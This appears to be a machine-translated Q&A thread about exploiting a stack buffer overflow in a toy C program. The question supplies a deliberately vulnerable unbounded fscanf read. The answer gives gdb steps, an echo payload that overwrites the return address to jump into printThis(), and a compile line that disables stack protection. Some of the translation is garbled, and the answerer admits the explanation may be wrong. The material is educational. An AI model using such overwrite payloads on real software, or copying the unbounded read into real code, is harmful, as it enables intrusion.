2015-04-07 1 views
0

Мне нужно использовать уязвимость буфера в приведенном ниже коде, используя строку командных кодов оболочки. Я видел почти все, что предлагал Google, но эта конкретная проблема меня путает из-за разделения функций.Обратный адрес из отдельной функции при использовании уязвимости буфера

void printThis(){ 
    if(printf("You did it 1!") >=0) exit(0); 
    if(printf("You did it 2!") >=0) exit(0); 
    if(printf("You did it 3!") >=0) exit(0); 
} 

void readIn(FILE *f){ 
    char exploit[12]; 
    int i; 

    fscanf(f, "%s", exploit); 

    for(i = 0; i < 12; i++){ 
     printf("%c", exploit[i]); 
    } 

    printf("\"\n"); 

} 

int main(int argc, char** argv){ 
    FILE *fp; 
    fp = fopen(argv[1], "r"); 

    readIn(fp); 
    fclose(fp); 
    printf("You suck at exploiting. I should not be printed."); 

} 

Я любопытно, как переполнение буфера в readIn() с обратным адресом заявления в printThis(), поскольку они используют различные стеки. Интуиция говорит, что переход к вызову на печать будет работать, но я не смог заставить его работать.

Любые предложения по получению информации, необходимой для полезной нагрузки в GDB? Спасибо за вашу помощь!

+0

Я думаю, вам нужно переполнить 'exploit', пока адрес возврата стека стека' readIn' не будет заменен адресом 'printThis'. Как это сделать, зависит от архитектуры, для которой построена программа. – Diego

+0

Я понимаю, что @Diego. Скажем, в 'printThis' есть 100' printf' операторов, и я хочу вернуть определенную строку, которая находится в '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ' Нужно ли вставлять строку вручную или я могу вернуть адрес, где хранятся данные? Благодарю. – user3242611

+0

Я думаю, вы не можете просто прыгнуть в середину функции и ожидать ее работы. Обычно содержат пролог, который устанавливает регистры, связанные с стеком, и т. Д. Если, конечно, стек не исполняется, и вы делаете это в полезной нагрузке. Но все зависит от фактического машинного кода. Источник C не так важен. – Diego

ответ

2

любимый отладчик вспылить каждого:

 
$ gdb myprog 

Разберите printThis:

 
$ disassemble printThis 

захватить адрес инструкции, которому вы хотите позвонить, в моем случае это 0x0000000000400758. Создайте входной файл и положить 12 символов для заполнения exploit, еще 12 NUL байт, а затем обратный адрес, который вы хотите:

 
$ echo -e "abcdabcdabcd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x07\x40" > input.txt 

(Обратите внимание, что байты поменяны местами от того, что мы на самом деле хотим). Выполните тест с входным файлом:

 
$ ./myprog input.txt 
abcdabcdabcd" 
You did it 3! 

Я верю 12 NUL байт перезаписи как i и f (4 байта INT, 8 байт указателя на x86_64), но я также не имею ни малейшего понятия, что я делаю или говорить, так что объяснение может быть полностью фиктивным.

Кроме того, я должен был составить myprog так:

 
$ gcc -fno-stack-protector -g myprog.c -o myprog 

В противном случае я получил стек разбив аварии обнаружения вместо желаемых результатов.

Смежные вопросы